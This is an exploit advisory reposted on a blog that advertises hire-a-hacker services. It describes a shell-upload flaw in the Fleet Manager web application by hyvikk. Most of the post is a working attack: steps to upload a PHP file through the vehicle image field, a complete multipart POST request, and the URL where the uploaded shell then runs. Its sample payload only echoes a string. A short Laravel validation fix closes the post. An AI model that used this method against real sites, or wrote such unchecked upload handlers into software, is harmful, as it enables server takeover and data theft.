Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86393353

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
========================================================================================                  
| Fleet Manager hyvikk Shell Upload
  # Date: 29-04-2019
  # Title    : Fleet Manager by hyvikk All versions                  
| # Author   : saxgy1331  - Kaieteur-Falls-1331                                                                           
| # Vendor Homepage:  https://codecanyon.net/item/fleet-manager/20051839                     
| # Tested on: Windows, Linux 
| # Bug      : Shell upload                                                                     
======================  =================================
 # Exploit  : 
 
You can upload a php shell file as a vehicle image

http://localhost/delivery/public/vehicles/create   

After uploading the image you the shell will be saved in the /uploads/ folder with the id code 
go  http://localhost/delivery/public/vehicles/ right click on the recent "php shell photo" you have uploaded Boom!

POST /good/vehicles HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/good/vehicles/create
Content-Type: multipart/form-data; boundary=---------------------------191691572411478
Content-Length: 1926
Connection: keep-alive
Cookie: PHPSESSID= ; XSRF-TOKEN= %3D%3D; laravel_session= 
Upgrade-Insecure-Requests: 1

 -----------------------------191691572411478
 Content-Disposition: form-data; name="_token"

 9gGkjP2AeqfijIpC6hH7TSxGDS7RAoily8pEdM9R
 -----------------------------191691572411478
 Content-Disposition: form-data; name="user_id"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="make"

 test1234
 -----------------------------191691572411478
 Content-Disposition: form-data; name="model"

 test12345
 -----------------------------191691572411478
 Content-Disposition: form-data; name="type"

 Hatchback
 -----------------------------191691572411478
 Content-Disposition: form-data; name="year"

 5
 -----------------------------191691572411478
 Content-Disposition: form-data; name="int_mileage"

 3
 -----------------------------191691572411478
 Content-Disposition: form-data; name="vehicle_image"; filename="1331.php"
 Content-Type: application/octet-stream

 <?php
 echo "1331";
 ?>
 -----------------------------191691572411478
 Content-Disposition: form-data; name="reg_exp_date"

 2019-04-24
 -----------------------------191691572411478
 Content-Disposition: form-data; name="in_service"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="engine_type"

 Petrol
 -----------------------------191691572411478
 Content-Disposition: form-data; name="horse_power"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="color"

 green
 -----------------------------191691572411478
 Content-Disposition: form-data; name="vin"

 1
 -----------------------------191691572411478
 Content-Disposition: form-data; name="license_plate"

 1331
 -----------------------------191691572411478
 Content-Disposition: form-data; name="lic_exp_date"

 2019-04-23
 -----------------------------191691572411478
 Content-Disposition: form-data; name="group_id"

 1
 -----------------------------191691572411478--
 
 
Example  
http://localhost/delivery/public/uploads/122030d1-ba55-4bfe-9533-44955d47b433.php  

Fix

public function uploadPhoto(Request $request)
{
    $this->validate($request, [
        'photo' => 'mimes:jpeg,png,bmp,tiff |max:4096',
    ],
        $messages = [
            'required' => 'The :attribute field is required.',
            'mimes' => 'Only jpeg, png, bmp,tiff are allowed.'
        ]
    );
 // Now save your file to the storage and file details at database.
}